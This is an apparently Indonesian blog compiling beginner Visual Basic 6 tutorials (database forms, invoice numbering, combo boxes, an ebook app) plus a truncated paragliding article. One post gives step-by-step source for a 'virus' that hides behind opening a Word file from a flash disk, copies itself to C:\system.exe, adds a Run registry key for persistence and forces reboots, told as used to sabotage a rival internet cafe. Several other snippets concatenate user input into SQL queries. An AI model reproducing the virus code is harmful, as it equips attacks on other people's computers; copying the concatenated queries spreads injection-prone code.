Program Sederhana untuk VB

Pemrograman Sederhana Visual Basic

Tutorial VB ini membahasa pembuatan program vb sederhana menggunakan adodc database.



Sedikit bingung juga sih maksudnya ini program, karena diciptakan seala kadarnya saja..hehehehe
Perogram ini dibuat karena ada tugas dari dosen lab yang nyuruhnya ada2 aja...haaaahhhh

Penjelasan tentang program ini

Program ini dibuat dengan visual basic. Koneksikan adodc ke dalam sebuah combobox yang akan otomatis menampilkan isi database didalamnya, sehingga memudahkan kita dalam bekerja.
Tidak perlu berlama-lama, bagi kalian yang membutuhkannya silahkan copy code dibawah ini:

Option Explicit

Private Sub Command1_Click()
End
End Sub

Private Sub Command2_Click()
Adodc2.Recordset.AddNew
Adodc2.Recordset!no_invo = no_invo.Text
Adodc2.Recordset!tgl = DTPicker1.Value
Adodc2.Recordset!kode_barang = kode_barang.Text
Adodc2.Recordset!kode_customer = okay.Text
Adodc2.Recordset!jumlah_beli = jumlah.Text
Adodc2.Recordset!total = total.Text
Adodc2.Recordset.Update
bersih
mati
Command3.Enabled = True
End Sub

Private Sub Command3_Click()
aktif
oto
Command3.Enabled = False
Command2.Enabled = True
End Sub

Sub bersih()
Dim bersih1, bersih2 As Control
For Each bersih1 In Me.Controls
For Each bersih2 In Me.Controls
If TypeOf bersih1 Is TextBox Then bersih1.Text = ""
If TypeOf bersih2 Is ComboBox Then bersih2.Text = ""
Next
Next
End Sub

Sub mati()
Dim mati1, mati2, mati3 As Control
For Each mati1 In Me.Controls
For Each mati2 In Me.Controls
For Each mati3 In Me.Controls
If TypeOf mati1 Is TextBox Then mati1.Enabled = False
If TypeOf mati2 Is ComboBox Then mati2.Enabled = False
If TypeOf mati3 Is CommandButton Then mati3.Enabled = False
Next
Next
Next
End Sub

Sub aktif()
Dim aktif1, aktif2 As Control
For Each aktif1 In Me.Controls
For Each aktif2 In Me.Controls
If TypeOf aktif1 Is TextBox Then aktif1.Enabled = True
If TypeOf aktif2 Is ComboBox Then aktif2.Enabled = True
Next
Next
End Sub

Sub oto()
Dim nomor, otomatis As String
If Adodc2.Recordset.RecordCount = 0 Then
otomatis = "B-001"
Else
Adodc2.Recordset.MoveLast
nomor = Right(Adodc2.Recordset!no_invo, 3) + 1
otomatis = "B-" & Right("000" & nomor, 3)
End If
no_invo.Text = otomatis
End Sub

Private Sub Form_Load()
kode_brg
kode_cus
mati
Command3.Enabled = True
End Sub

Sub kode_brg()
If Adodc1.Recordset.RecordCount > 0 Then
Adodc1.Recordset.MoveFirst
While Not Adodc1.Recordset.EOF
kode_barang.AddItem Adodc1.Recordset!kode_barang
Adodc1.Recordset.MoveNext
Wend
End If
End Sub

Sub kode_cus()
If Adodc3.Recordset.RecordCount > 0 Then
Adodc3.Recordset.MoveFirst
While Not Adodc3.Recordset.EOF
okay.AddItem Adodc3.Recordset!kode_customer
Adodc3.Recordset.MoveNext
Wend
End If
End Sub

Private Sub jumlah_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
total.Text = Val(harga.Text) * Val(jumlah.Text)
End If
End Sub

Private Sub kode_barang_change()
Adodc1.RecordSource = "select * from barang where kode_barang='" & kode_barang.Text & "'"
With Adodc1.Recordset
Adodc1.Recordset!nama_barang = nama_brg.Text
harga.Text = Adodc1.Recordset!harga_jual
End With
End Sub

Private Sub okay_change()
Adodc3.RecordSource = "select * from customer where kode_customer='" & okay.Text & "'"
Adodc3.Recordset!nama_customer = nama_cus.Text
nama_cus.Text = Adodc3.Recordset!nama_customer
End Sub



 Kalau kalian suka dengan artikel ini, like dengan FB. Jika kalian masih kurang mengerti, silahkan bertanya dicomment postingan ini. Program ini dibuat dengan Visual Basic
Semoga bermanfaat

Membuat Virus Visual Basic

Tutorial VB membuat Virus sederhana dengan bahasa pemrograman Visual Basic. Tugas sederhana namun cocok untuk pembelajaran bagi kalian.



Kangen rasanya sudah lama tidak mengpost di blogs. ^,..,^. Sebenernya ini adalah program buatan teman saya, dia juga seorang programers sama seperti saya. Ini adalah hasil karya beliau, jadi saya post saja, mungkin lebih berguna buat kalian. Sebenarnya ini program dia buat ngerjain warnet didepan warnet yang dia jaga, buat orang awam memang sedikit "ihh weew", soalnya program ini ga kena ma anti virus, tapi bagi saya mah, "program apaan niih?hehhehe"

Sistem kerja program ini sama halnya seperti program virus yang biasa kita jumpai. Menyerang bagian registrasi dan melumpuhkan sistem komputer target. Akan tetapi setelah saya lihat bentuk source code program tersebut, dengan menggunakan koneksi antar form, dan penyerangan kedalam registry editor.
Pengaktifan program ini tergolong unik, karena tidak otomatis running ketika dicolokan Flasdisk, melainkan user secara aktif mengkliknya.

Jadi begini pengaktifannya. Dia datang kesebuah warnet tujuannya, untuk mencoba n membuat kesal OP tersebut. Dia berpura2 ingin melakukan print MS word yang sudah dia siapkan didalam flash disk na. Didalam Flash disk dia terdapat 2 MS word berbeda nama sesuai dengan direktorynya dan compille program VB virus ini. Setelah dia memberikan FD na, dia harus memastikan bahwa FD dia berada pada direktory apa, entah ada di "G" atau "F", yang pasti FD direktori tidak akan jauh2 pada hal tersebut. Dia akan memilih sebuah Word sesuai dengan direktorinya. Setelah program MS word aktif, maka si virus secara aktif juga masuk dengan pengaktifan program Word yang telah dieksekusi. Setelah selesai dengan Print2 dummy tersebut, dia melepaskan FD yang menandakan delay waktu aktif virus dimulai. Seusai pergi, Virus aktif, restart, PC crash, dan tampil gambar dia.

sekian curhatnya...heleuhh panjang banget....

Berikut ini listing code dan cara pembuatannya hinga sampai kalian membuatnya secara utuh, dan mohon maaf saya tidak akan mengshre berupa downloadannya, takut disalah gunakan soalnya ^,..,^

1. Buatlah sebuah Progress bar didalam 1 form baru, bernama "antivirus". Didalam form ini kalian sisipkan 1 buah progress bar, untuk memberikan delay waktu pengaktifan program tersebut dan juga 1 buah timer. Tujuan ini dimaksudkan untuk kalian melakukan pengkebalan terhadap program yang telah kalian buat sendiri. Malu donk buat virus tapi tidak bisa mengatasinya ^<_^ - Masukan listing code ini pada timer yang telah kita buat pada form antivirus.


Private Sub Timer1_Timer()
If ProgressBar1.Value = 100 Then
Unload Me
MsgBox "T-Virus was Removed, your system will be reboot", vbInformation, "Congrat"
Shell ("shutdown.exe -r -t 01")

Else

ProgressBar1.Value = Val(ProgressBar1.Value) + Val(1)

End If
End Sub


Adapun maksud dari listing ini adalah ketika si progress bar berjalan hingga bernilai "100", maka form tidak akan tampil, sehingga menampilkan pesan seperti ini "T-Virus was Removed, your system will be reboot" yang menandakan program sudah aktif dan secara otomatis dengan menggunakan "Shell" untuk memanggil program bawaan windows yaitu "Shutdown.exe" yang penggunaan program tersebut dilakukan apabila sistem windows sedang mengalami crash atau hang pada pc, akan tetapi kali ini sistem tersebut saya gunakan sebagi bentuk restaran dengan tenggat waktu 1 detik.

- Masukan listing code ini pada Form_load()



Private Sub Form_Load()

Kill "C:\system.exe"


Dim x As Double
x = Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus)


BlockInput False
End Sub


Adapun maksud diatas adalah melakukan pendeletan langsung, atau saya sering katakan adalah serangan langsung terhadap program kita yang nantinya akan bertengger di direktory "C:" dengan nama program kita adalah nantinya "System.exe".
Setelahnya program kita akan secara otomatis masuk kedalam regedit (registry editor) yang mana akan menambakan value pada "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus". Maksud dari "d 0" adalah value penonaktifan pada "DisableTaskMgr".
Dan "BlockInput False" untuk pengaktifan keyboard kita.

- Masukan ini terlebih dahulu di bagian atas listing program tadi.



Option Explicit

Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long



Selesailah kita membuat anti Virus atas program kita nantinya.


Sekarang kita akan berlanjut kepada pembuatan program utama kita, masih minat?okay lanjutkan.

Sebernya kita sudah membuat virus itu sendiri tanpa kalian sadari, Berdasarkan anti virus yang telah kalian buat, itulah program virus sederhana nya.

Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "F":

- Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load


Private Sub Form_Load()


Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("F:\T-V\Makalah.doc")
wrd.Activate


Dim mByte() As Byte
Open "F:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2


Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub



Maksud diatas adalah seperti yang sudah saya ceritakan, program ini berjalan setelah ms word aktif dimana word yang telah dibuka pada direktory "F:\T-V\Makalah.doc". Program akan secara aktif mengcopy kedalam dir "C:" yang akan membuat secara paksa file bernama "System.exe". Melakukan pengaktifan setelah dia restart dan menyusupkan key pada Regedit untuk auto run start up "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"

Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "G":

- Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load


Private Sub Form_Load()

Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("G:\T-V\Makalah.doc")
wrd.Activate

Dim mByte() As Byte
Open "G:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2


Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub


Untuk penjelasannya, sama seperti halnya diatas.

Jika link Membuat Virus Visual Basic berguna untuk kalian atau kalian suka dengan postingan ini, berikan komentar dibawah postingan ini sertakan dengan share di facebook kalian dengan men-like nya yooo. Jangan lupa untuk menshare ilmu kalian ya, karena ilmu yang bermanfaat akan menambah pahala buat kalian sendiri.

Sekian dari saya, terima kasih atas kunjungannya ^<_,^

open explorer with VB

Membuka Explorer dengan VB

Tutorial VB ini akan mempraktekan membuka menu explore dengan microsoft visual basic 6.0




Cara yang sangat sederhana untuk pemrograman vb. Hanya menggunakan beberapa kalimat baris code, maka bisa membuka menu explorer. Seperti short cut untuk windows, yang dapat memudahkan kita dalam mengaksesnya.

Tools yang kamu butuhkan dalam mempraktekannya didalam visual basic hanya membutuhkan Command Button didalam form

Lalu Inputkan kode dibawah ini pada source code command button tersebut


Private Sub mnunotepad_Click()
On Error GoTo errcode
Dim a As Double
a = Shell("C:\WINDOWS\explorer.exe", vbNormalFocus)
Exit Sub
errcode:
MsgBox "Explorer tidak bisa dibuka dikomputer mu", vbError, "Explorer Error!"
Resume Next
End Sub


langkah selanjutnya tinggal melakukan run pada program vb tersebut.
Selamat kamu telah berhasil ^,..,^

Penomoran otomatis menggunakan tanggal

Penomoran otomatis menggunakan tanggalVB

Tutorial Visual Basic dalam membuat kode otomatis untuk meringankan pekerjaan programers dalam penamaan identitas berdasarkan tahun, tanggal dan bulan



Sebenernya ini baru saja saya dapatkan dari lab, sedikit senggol-senggol teman, ngerti juga.
telad banget baru nyadar..heheheh

okay to the point ajah. Disini yang kalian butuhkan adalah sebuah datapicker sebagai data yang akan dipilah untuk diambil value-nya. Dalam penggunaanya, saya akan melakukan penyimpanan sekaligus pencarian data pada database yang terkoneksikan dengan adodc

Lihat listing dibawah ini:

Sub otomatis()
Dim tanggal, tahun, bulan, no, oto As String
tanggal = Left(DTPicker1.Value, 2)
bulan = Mid(DTPicker1.Value, 4, 2)
tahun = Right(DTPicker1.Value, 2)

sementara.RecordSource = "select * from table sementara where no_pinjam"
If adodc1.Recordset.RecordCount = 0 Then
oto = tahun & bulan & tanggal & "001"
Else
adodc1.Recordset.MoveLast
no = Right(adodc1.Recordset!kode_buku, 3) + 1
oto = tahun & bulan & tanggal & Right("00" & no, 3)
End If
text1.Text = oto
End Sub

1. Arti dari "Dim tanggal, tahun, bulan, no, oto As String" adalah pembuatan variable yang diolah menjadi string
2. Arti dari "tanggal = Left(DTPicker1.Value, 2)" adalah datapicker diambil dari kiri yang akan menuju kekanan, dimana data diambil hanya berjarak 2 saja
3. Arti dari "bulan = Mid(DTPicker1.Value, 4, 2)" adalah datapicker diambil dari kiri setelah pemotongan 4 karakter, yang hasilnya mendapatkan data pada tengah. Ini pada format waktu dikomputer yooo
4. Arti dari "oto = tahun & bulan & tanggal & "001" adalah penggabungan variable yang telah dibuat untuk kemudian disatukan menjadi data waktu yang diinginkan formatnya (20010626), seperti itulah

saya rasa selebihnya tinggal kalian analisa sendiri, kalau masih ada kurang mengerti moonggoo ditanyakan saja

State dengan VB

Membuat State dengan VB

Tutorial VB saya kali ini membahas bagaimana caranya membuat daftar wilayah dengan VB menggunakan combobox. Wilayah disini dimaksudkan bukan berdasarkan tentang daerah sekitar kita, melainkan berupa wilayah bagian negara. Seberapa penting sih membuat form visual basic ini?. Seperti halnya kita ingin membuat sebuah program aplikasi tentang penjualan dengan geo target negara, sudah selayaknya menyediakan negara asal si pemesan berasal. Code ini penting sekali buat menunjang kompleksitas dari struktur program kita.

Dari mana Data wilayah tersebut didapatkan?
Contoh yang saya ambil menggunakan Operating System Windows.
Pernah instal ulang windows?jangan tanyakan versi dan sp-nya ke saya, karena windows modern saat ini sama saja tujuannya.
Pernah lihat ada pilihan kita harus menset jam didalam komputer kita beserta negara kita berasal?. Kalau belum pernah menginstall ulang komputer, saya saranin coba dahulu saja, biar kedepannya kamu menjadi familiar dengan kata-kata barusan.
lanjut....
Data tersebut didapatkan asli murni dari OS yang kita install barusan. Intinya...Kita akan belajar bagaimana mendapatkan informasi dari dalam Windows dan menampilkannya di program utama kita.


Desain State dengan VB
Isi Visual Basic:
- form1.frm
- Module1

Syarat komponen yang dibutuhkan:
- Combo box
- Image (buat banner www.tutorial-vb.com)

Syarat komponen tambahan:

- Tidak ada


Membuat State dengan VB

- Kenapa hanya ada combo box saja didalam form? kan disini saya hanya akan mengajarkan kepada kamu, sebagian desain menggunakan komponen tersebut. Untuk pengembangannya, kamu bisa melakukannya sendiri.


- Isikan Code ini pada form_load. Terdapat penjelasan juga.


'Kenapa ditaruh di form_load?kenapa tidak ditaruh pada combo1 saja?
'karena diprogram ini kita akan belajar seni melompat pada variabel. Melompat maksudnya Looping

Private Sub Form_Load()

MsgBox "Kunjungi saya di www.tutorial-vb.com", vbOKOnly, " ^,..,^"


Dim intStateFileNbr As Integer
Dim strBS As String
Dim strStateAbbrev As String
Dim strStateName As String

strBS = IIf(Right$(App.Path, 1) = "\", "", "\")
intStateFileNbr = FreeFile
'Kode dibawah ini adalah untuk mencari file yang berupa STATES.DAT
'Karena keberhasilan program utama kita ini terletak pada file bawaan windows tersebut
Open (App.Path & strBS & "STATES.DAT") For Input As #intStateFileNbr
'Setelah didapatkan file tersebut, maka program kita akan melakukan pemanggilan menggunakan bahasa visual basic
'Yang berupa singkatan nama wilayah, dan nama wilayahnya
Do Until EOF(intStateFileNbr)
Input #intStateFileNbr, strStateAbbrev, strStateName
'Dibawah ini contohnya adalah AK-ALASKA

'memberikan kesan ada pembatas pada variabel file tersebut berupa garis minus (-)
Combo1.AddItem strStateAbbrev & " - " & strStateName
Loop

Close #intStateFileNbr

Combo1.ListIndex = 0

SetDropDownWidth Combo1

End Sub


- Isikan Code ini pada module1. terdapat penjelasan juga.

'Karena kita akan melakukan pemanggilan dalam komputer kita, maka file yang diperlukan adalah user32
'Yang diterbitkan dengan sendmessageA
'Kenapa harus menggunakan Const? karena bilangan didalam PC harus menggunakan nilai konstanta

Option Explicit

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const CB_SETDROPPEDWIDTH As Long = &H160
'ini adalah pemanggilan sub pada type file diatas
'-----------------------------------------------------------------------------

Public Sub SetDropDownWidth(mCombo As ComboBox)
'-----------------------------------------------------------------------------

Dim RetVal As Long
Dim PixelWidth As Long
Dim MaxWidth As Long
Dim LoopCounter As Long
Dim lWidth As Long

For LoopCounter = 0 To mCombo.ListCount - 1
lWidth = mCombo.Parent.TextWidth(mCombo.List(LoopCounter))
If lWidth > MaxWidth Then
MaxWidth = lWidth
End If
'Ini sebagian rumus yang akan kamu masukan didalam module agar program tersebut stabil

Next LoopCounter
MaxWidth = MaxWidth + (23 * Screen.TwipsPerPixelX)
If MaxWidth > (mCombo.Width * 2) Then
MaxWidth = (mCombo.Width * 2)
ElseIf MaxWidth < mCombo.Width Then
MaxWidth = mCombo.Width
End If

PixelWidth = (MaxWidth \ Screen.TwipsPerPixelX)
RetVal = SendMessage(mCombo.hwnd, CB_SETDROPPEDWIDTH, PixelWidth, 0)

End Sub




Untuk penjelasan tentang program Membuat State dengan VB, saya rasa cukup.
Kamu ingin mencoba program tersebut?
Kamu ingin copas kode tersebut di vb?

saya sudah menyediakan wadah buat kamu. Kamu bisa melakukan copas kode tersebut langsung dari web secara utuh tanpa terputus-putus seperti di atas & mendownload program itu secara utuh agar bisa digunakan di PC mode offline.
kamu bisa melihat kode dan mendapatkan sample membuat state dengan vb dengan mengklik Source Code Membuat State dengan VB
 Kalau kalian suka dengan artikel ini, like dengan FB. Jika kalian masih kurang mengerti, silahkan bertanya dicomment postingan ini. Program ini dibuat dengan Visual Basic di http://genostix.blogspot.com

Program Surat Keluar VB

Tutorial Visual Basic ini adalah contoh program yang saya buat untuk proses PNS pada Pengadilan Agama Cibinong. Surat Keluar diberikan oleh Kaur Kepegawaian.

haii....sudah lama ga berjumpa pada postingan. Kangen banget pengen posting sesuatu, dan alhamdulilah saya akhirnya bisa melakukannya. Tetapi kali ini saya tidak berada di warnet, melainkan dikomputer milik pejabat setempat. hahahaiii curi-curi kesempatan.
Dari pada saya tidur, gara-gara tidak ada kerjaan, yah lebih baik memposting saja
Mengapa saya memakai picture seperti diatas? karena saya saat ini sedang melakukan magang di Instansi tersebut.

Okay to the point saja. Ini adalah program yang saya bilang sederhana dalam pengoprasiannya. Mengapa?
Listing code nya mudah diterapkan, dengan pengkoneksian adodb dan adodc, yang hasilnya akan dicetak pada data environment. Tadinya saya ingin mendesain pada form, hanya saja keliatan berantakan.

Nih download programnya bisa kalian ambil di link Free Download program from indowebster.com Date upload: 25-Jul-2011 Size: 10.71 MB

Tugas Program VB

Tutorial Visual Basic ini adalah contoh dari tugas pemrograman yang diberikan dari lab saya. Pengkoneksian database dengan datacombo.



Tugas lagi, tugas lagi... untuk melatih skill pemrograman ga boleh kenal lelah. yah meski harus bertapa didalam lab menghabiskan 3 putaran waktu kelompok, tapi tetap saja semangat!!!

Selesai juga akhirnya, ya meski nanti si dosen bakalan bilang program apaan nih? maksud dan tujuannya adalah sama yang ditentukan oleh si mpunya hajat (dosen)

Pelajari listing code saya, karena sebelumnya sudah beberapa postingan yang saya bahas mengenai beberapa code dibawah ini. Silahkan dicopas untuk diprint out:

Option Explicit

Sub otomatis()
Dim tanggal, tahun, bulan, no, oto As String
tanggal = Left(DTPicker1.Value, 2)
bulan = Mid(DTPicker1.Value, 4, 2)
tahun = Right(DTPicker1.Value, 2)

sementara.RecordSource = "select * from table sementara where no_pinjam"
If sementara.Recordset.RecordCount = 0 Then
oto = tahun & bulan & tanggal & "001"
Else
sementara.Recordset.MoveLast
no = Right(sementara.Recordset!kode_buku, 3) + 1
oto = tahun & bulan & tanggal & Right("00" & no, 3)
End If
nop.Text = oto
End Sub

Sub bersih()
Dim x As Control
For Each x In Me.Controls
If TypeOf x Is TextBox Then x.Text = ""
If TypeOf x Is ComboBox Then x.Text = ""
Next
End Sub
Sub mati()
Dim x As Control
For Each x In Me.Controls
If TypeOf x Is TextBox Then x.Enabled = False
If TypeOf x Is ComboBox Then x.Enabled = False
Next
End Sub

Sub hidup()
Dim x As Control
For Each x In Me.Controls
If TypeOf x Is TextBox Then x.Enabled = True
If TypeOf x Is ComboBox Then x.Enabled = True
Next
End Sub
Sub tampil()
On Error Resume Next
sementara.RecordSource = "select *from sementara"
nop.Text = sementara.Recordset!no_pinjam
kode_anggota.Text = sementara.Recordset!kode_anggota
DTPicker1.Value = sementara.Recordset!tgl_pinjam
DTPicker2.Value = sementara.Recordset!tgl_kembali
kode_buku.Text = sementara.Recordset!kode_buku
nopa.Text = sementara.Recordset!no_pangil
judul.Text = sementara.Recordset!judul_buku
End Sub

Private Sub baru_Click()
hidup
otomatis
End Sub

Private Sub batalkan_Click()
bersih
End Sub

Private Sub DataGrid1_Click()
tampil
End Sub

Private Sub delete_Click()
sementara.Recordset.delete
End Sub

Private Sub Form_Load()
otomatis
mati
bersih

End Sub

Private Sub kode_anggota_Click(Area As Integer)
anggota.RecordSource = "select * from anggota where kode_anggota='" & kode_anggota.Text & "'"
anggota.Refresh
If anggota.Recordset.RecordCount = 0 Then
MsgBox "data tidak ditemukan"
Else
nama.Text = anggota.Recordset!nama_anggota
End If
anggota.RecordSource = "select * from anggota"
anggota.Refresh
End Sub

Private Sub kode_buku_Click(Area As Integer)
buku.RecordSource = "select * from buku where kode_buku= '" & kode_buku.Text & "'"
buku.Refresh
If buku.Recordset.RecordCount = 0 Then
MsgBox "data tidak ditemukan"
Else
nopa.Text = buku.Recordset!nomor_panggil
judul.Text = buku.Recordset!judul_buku
End If
buku.RecordSource = "select * from buku"
buku.Refresh

End Sub

Private Sub masukan_Click()
sementara.RecordSource = "select * from sementara"
sementara.Refresh
sementara.Recordset.AddNew
sementara.Recordset!no_pinjam = nop.Text
sementara.Recordset!kode_buku = kode_buku.Text
sementara.Recordset!tgl_pinjam = DTPicker1.Value
sementara.Recordset!tgl_kembali = DTPicker2.Value
sementara.Recordset!kode_anggota = kode_anggota.Text
sementara.Recordset!nama_anggota = nama.Text
sementara.Recordset!judul_buku = judul.Text
sementara.Recordset!no_pangil = nopa.Text
sementara.Recordset.Update
End Sub


Private Sub simpan_Click()
detail.RecordSource = "select * from detail_pinjam"
detail.Refresh
detail.Recordset.AddNew
detail.Recordset!no_pinjam = sementara.Recordset!no_pinjam
detail.Recordset!kode_buku = sementara.Recordset!kode_buku
detail.Recordset!tgl_pinjam = sementara.Recordset!tgl_pinjam
detail.Recordset!tgl_kembali = sementara.Recordset!tgl_kembali
detail.Recordset.Update

pinjam.RecordSource = "select * from pinjam"
pinjam.Refresh
pinjam.Recordset.AddNew
pinjam.Recordset!no_pinjam = sementara.Recordset!no_pinjam
pinjam.Recordset!kode_anggota = sementara.Recordset!kode_anggota
pinjam.Recordset!tanggal = sementara.Recordset!tgl_pinjam

pinjam.Recordset.Update

sementara.Recordset.delete
sementara.Recordset.MoveNext

bersih
mati
End Sub


Bagi kalian yang ingin mempelajarinya, saya membuat file download yang bisa kalian pelajari langsung dirumah. Untuk program diatas bernama perpus dengan nama form sementara. silahkan Download 18095534 from Indowebster.com

Create E-book with vb

Membuat Ebook dengan Visual Basic

Tutorial VB saya kali ini akan membuat program ebook sederhana. Cara kerjanya sama seperti sebuat notepad pada windows, melakukan editan dan penyimpanan biasa. Lalu apa kelebihannya? yah bisa dibilang ga perlu banyak folder name atau file-file hasil simpanan kita didalam hard disk. Simplenya sih hanya sebagai wadah saja.
Kekurangannya apa saja?. Layaknya sebuah notepad pada windows, tidak semua karakter didalamnya bisa kita input maksimal. Ada beberapa karakter yang tidak bisa dibaca oleh program ini, begitupun program notepad itu sendiri.
Simplenya sih begini saja deh, ini program diciptakan untuk memudahkan kalian pecinta koleksi ebook untuk menyusun agar tidak berceceran. Adapun program ini lebih extra simple lagi cara pembuatannya. Baiklah, sebelum saya menjelaskan cara pembuatannya, saya mau memberitahukan bahwa program diatas menggunakan banner webs saya terdahulu yang sudah males dimainin lagi. ^,..,^


Cara Membuat Ebook dengan VB

Syarat komponen yang dibutuhkan
- TextBox = 3
- Data = 1
- CommandButton = 4
- Image = 1 (Banner image web saya)

Syarat komponen tambahan
- Tidak ada


Berikut ini cara membuat susunan pada formnya:

1. Kamu akan membuat textbox1 untuk "Jenis Ebook". Setelah menaruh diformnya klik properties = >Categorized => Multi line....pilih true. dan berikutny pilih scrollbars => klik horizontal

2. Kamu akan membuat textbox2 untuk "Model Ebook". Setelah menaruh diformnya klik properties = >Categorized => Multi line....pilih true. dan berikutny pilih scrollbars => klik vertikal

3. Kamu akan membuat data1. sebelumnya buat database terlebih dahulu di "Add-ins => Visual Data Manager", Saya harap kamu sudah mempelajari cara pembuatan database VB. Setelah selesai pilih "DataBaseName" sesuai direktori file database berawal. "Recordset" sesuai label utama.

4. Kamu akan membuat commandbutton yang berCaption "EDIT". Masukan listing code ini

Private Sub Command2_Click()
On Error Resume Next
Data1.Recordset.Edit
Data1.Recordset!jenis = Text2.Text
Data1.Recordset!model = Text3.Text
Data1.Recordset!isina = Text1.Text
Data1.Refresh
End Sub
5. Kamu akan membuat commandbutton yang berCaption "TAMBAH". Masukan listing code ini

Private Sub Command1_Click()
On Error Resume Next
Data1.Recordset.AddNew
Data1.Recordset!jenis = Text2.Text
Data1.Recordset!model = Text3.Text
Data1.Recordset!isina = Text1.Text

End Sub
6. Kamu akan membuat commandbutton yang berCaption "DELETE". Masukan listing code ini

Private Sub Command4_Click()

On Error Resume Next
Data1.Recordset.Delete
Data1.Recordset!jenis = Text2.Text
Data1.Recordset!model = Text3.Text
Data1.Recordset!isina = Text1.Text
Data1.Refresh
End Sub
7. Kamu tidak harus membuat commandbutton berCaption "Home", karena itu saya buat berdasarkan data form terkoneksi biasa. Terserah kalo kalian mau buat atau tidak. Kalau mau buat, ini listing codenya

Private Sub Command3_Click()
Form2.Show
Unload Me
End Sub
Sedikit penjelasan saja, pada form2.show itu hanya akan melakukan koneksi ke form yang bernama "form2"

8. Kamu akan membuat textbox3 untuk "Isi Ebook". Setelah menaruh diformnya klik properties = >Categorized => Multi line....pilih true. dan berikutny pilih scrollbars =>both


Dari kesemua commandbutton, inti dari pembuatan programnya adalah melakukan koneksi data ke commandbutton masing-masing. Disemua Commandbutton => DataField & DataSource (Input sesuai database yang dibuat pada data1)


Selesai deh.
Masih bingung?yoowis saya sudah menyiapkan versi downloadnya, silahkan kamu download programnya di

http://indowebster.com/ebookvb.html


 Kalau kalian suka dengan artikel ini, like dengan FB. Jika kalian masih kurang mengerti, silahkan bertanya dicomment postingan ini. Program ini dibuat dengan Visual Basic di http://genostix.blogspot.com

Koneksi datacombo dalam textbox

Tutorial Vb tentang pengkoneksian database oleh datacombo yang menghasilkan sebuah tautan yang bersamaan.



Bingung dengan kata-kata diatas? tau saya juga ga ngerti ngomong kaya begitu. Yang jelas sih ini adalah hasil persamaan database agar hasil pada datacombo sesuai dengan kriteria yang diinginkan.

Pada Postingan ini yang kalian butuhkan adalah adodc, datacombo, serta text box.

Untuk penjelasannya, silahkan lihat listing dibawah ini

Private Sub datacombo_Click(Area As Integer)
adodc1.RecordSource = "select * from table where field_kamu='" & datacombo.Text & "'"
adodc1.Refresh
If anggota.Recordset.RecordCount = 0 Then
MsgBox "data tidak ditemukan"
Else
text1.Text = adodc1.Recordset!field_kamu
End If
anggota.RecordSource = "select * from table"
adodc1.Refresh
End Sub

Perhatian!!! kode ini dimasukan pada datacombo, jangan sampai salah ya. Sepertinya sudah sangat jelas listing code yang saya tuliskan diatas. Apabila ada yang kurang mengerti, silahkan tanyakan

Sekilas Tentang Paralayang

Apa itu Paralayang

Paralayang bisa diartikan sebagai sebuah parasut yang dapat diterbangkan tanpa menggunakan mesin dan dapat mengangkat badan penerbang. Parasut atau biasa disebut pesawat ini lepas landas dan mendarat menggunakan kaki penerbang.

Olahraga paralayang lepas landas dari sebuah lereng bukit atau gunung dengan memanfaatkan angin. Angin yang dipergunakan sebagai sumber daya angkat yang menyebabkan parasut ini melayang tinggi di angkasa terdiri dari dua macam yaitu, angin naik yang menabrak lereng (dynamic lift) dan angin naik yang disebabkan karena thermal (thermal lift). Dengan memanfaatkan kedua sumber itu maka penerbang dapat terbang sangat tinggi dan mencapai jarak yang jauh. Yang menarik adalah bahwa semua yang dilakukan itu tanpa menggunakan mesin, hanya semata-mata memanfaatkan angin.

Peralatan

Peralatan paralayang sangat ringan, berat seluruh perlengkapannya (parasut, harness, parasut cadangan, helmet) sekitar 10 - 15 kg. Peralatan paralayang juga sangat praktis karena dapat dimasukkan ke dalam ransel yang dapat digendong di punggung. Olahraga Paralayang juga sangat kecil ketergantunganya dengan wahana lainnya.

Konsep terbang Paralayang sangat sederhana tetapi mengagumkan, terbuat dari lembaran kain nylon yang dibentuk seperti sayap atau aerofoil yang dihubungkan oleh tali-tali untuk sebagai cantolan tempat duduk penerbang (seat harness). Dengan adanya gerakan saat melintasi di udara bebas maka lembaran kain tersebut menggembung menciptakan tekanan dan membentuk sayap yang akhirnya dapat diterbangkan.

Parasut paralayang adalah sebuah “pesawat terbang” yang melayang menggunakan prinsip-prinsip aerodinamika seperti halnya pesawat Boing yang berpenumpang ratusan orang itu. Bedanya penumpang paralayang sangat terbatas hanya satu atau dua orang saja. Kecepatan terbang tertingginya juga paling-paling hanya sekitar 50 km/jam.

Untuk dapat lepas landas, seorang penerbang paralayang memerlukan sebuah lereng bukit yang rata dengan kemiringan sekitar 20 - 30 derajat, atau jika tak ada lereng, ditarik dengan mesin Winch di lapangan terbuka pun bisa.

Awal Perkembangan

